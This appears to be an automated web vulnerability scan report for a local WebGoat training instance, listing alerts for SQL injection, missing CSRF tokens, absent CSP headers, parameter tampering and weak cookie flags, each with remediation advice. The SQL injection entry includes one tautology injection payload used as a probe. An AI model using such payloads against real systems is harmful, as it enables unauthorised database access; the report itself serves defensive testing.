## Summary of Alerts

Risk Level	Number of Alerts
High	1
Medium	3
Low	3
Informational	0

## Alerts

Name	Risk Level	Number of Instances
<a href="#">SQL Injection</a>	High	1
<a href="#">Absence of Anti-CSRF Tokens</a>	Medium	5
<a href="#">Content Security Policy (CSP) Header Not Set</a>	Medium	5
<a href="#">Parameter Tampering</a>	Medium	1
<a href="#">Cookie No HttpOnly Flag</a>	Low	1
<a href="#">Cookie without SameSite Attribute</a>	Low	1
<a href="#">Timestamp Disclosure - Unix</a>	Low	2

## Alert Detail

High	SQL Injection
Description	SQL injection may be possible.
URL	<a href="http://127.0.0.1:8080/WebGoat/register.mvc">http://127.0.0.1:8080/WebGoat/register.mvc</a>
Method	POST
Attack	agree AND 1=1 --
Evidence	
Instances	1
	<p>Do not trust client side input, even if there is client side validation in place.</p> <p>In general, type check all data on the server side.</p> <p>If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'</p> <p>If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.</p> <p>If database Stored Procedures can be used, use them.</p>

Solution	<p>Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!</p> <p>Do not create dynamic SQL queries using simple string concatenation.</p> <p>Escape all data received from the client.</p> <p>Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.</p> <p>Apply the principle of least privilege by using the least privileged database user possible.</p> <p>In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.</p> <p>Grant the minimum database access that is necessary for the application.</p>

Plugin Id	<a href="#">40018</a>

Medium	Absence of Anti-CSRF Tokens
Description	<p>No Anti-CSRF tokens were found in a HTML submission form.</p> <p>A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.</p> <p>CSRF attacks are effective in a number of situations, including:</p> <ul style="list-style-type: none"> <li>* The victim has an active session on the target site.</li> <li>* The victim is authenticated via HTTP auth on the target site.</li> <li>* The victim is on the same local network as the target site.</li> </ul> <p>CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.</p>

Evidence	<form class="form-horizontal" action="/WebGoat/register.mvc" method='POST'>
Instances	5
Solution	<p>Phase: Architecture and Design</p> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p> <p>For example, use anti-CSRF packages such as the OWASP CSRFGuard.</p> <p>Phase: Implementation</p> <p>Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.</p> <p>Phase: Architecture and Design</p> <p>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).</p> <p>Note that this can be bypassed using XSS.</p> <p>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</p> <p>Note that this can be bypassed using XSS.</p> <p>Use the ESAPI Session Management control.</p> <p>This control includes a component for CSRF.</p> <p>Do not use the GET method for any request that triggers a state change.</p> <p>Phase: Implementation</p> <p>Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.</p>

Medium	<b>Content Security Policy (CSP) Header Not Set</b>
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to

	declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.

Method	POST
Attack	
Evidence	
Instances	5
Solution	Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header, to achieve optimal browser support: "Content-Security-Policy" for Chrome 25+, Firefox 23+ and Safari 7+, "X-Content-Security-Policy" for Firefox 4.0+ and Internet Explorer 10+, and "X-WebKit-CSP" for Chrome 14+ and Safari 6+.

CWE Id	<a href="#">693</a>
WASC Id	15
Plugin Id	<a href="#">10038</a>

<b>Medium</b>	<b>Parameter Tampering</b>
Description	Parameter manipulation caused an error page or Java stack trace to be displayed. This indicated lack of exception handling and potential areas for further exploit.
URL	<a href="http://127.0.0.1:8080/WebGoat/register.mvc">http://127.0.0.1:8080/WebGoat/register.mvc</a>
Method	POST
Attack	

Evidence	javax.servlet.http.HttpServlet.service(HttpServlet.java:517)\n\tat
Instances	1
Solution	Identify the cause of the error and fix it. Do not trust client side input and enforce a tight check in the server side. Besides, catch the exception properly. Use a generic 500 error page for internal server error.

WASC Id	20
Plugin Id	<a href="#">40008</a>

Low	Cookie No HttpOnly Flag
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	<a href="http://127.0.0.1:8080/WebGoat/">http://127.0.0.1:8080/WebGoat/</a>
Method	GET
Attack	
Evidence	Set-Cookie: JSESSIONID
Instances	1
Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	<a href="https://owasp.org/www-community/HttpOnly">https://owasp.org/www-community/HttpOnly</a>
CWE Id	<a href="#">1004</a>
WASC Id	13
Plugin Id	<a href="#">10010</a>

Low	Cookie without SameSite Attribute
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	<a href="http://127.0.0.1:8080/WebGoat/">http://127.0.0.1:8080/WebGoat/</a>
Method	GET
Attack	
Evidence	Set-Cookie: JSESSIONID
Instances	1
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	<a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site">https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site</a>
CWE Id	<a href="#">1275</a>
WASC Id	13
Plugin Id	<a href="#">10054</a>

Low	Timestamp Disclosure - Unix
Description	A timestamp was disclosed by the application/web server - Unix
URL	<a href="http://127.0.0.1:8080/WebGoat/plugins/bootstrap/css/bootstrap.min.css">http://127.0.0.1:8080/WebGoat/plugins/bootstrap/css/bootstrap.min.css</a>
Method	GET
Attack	
Evidence	42857143

URL	<a href="http://127.0.0.1:8080/WebGoat/plugins/bootstrap/css/bootstrap.min.css">http://127.0.0.1:8080/WebGoat/plugins/bootstrap/css/bootstrap.min.css</a>
Method	GET
Attack	
Evidence	80000000
Instances	2
Solution	Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
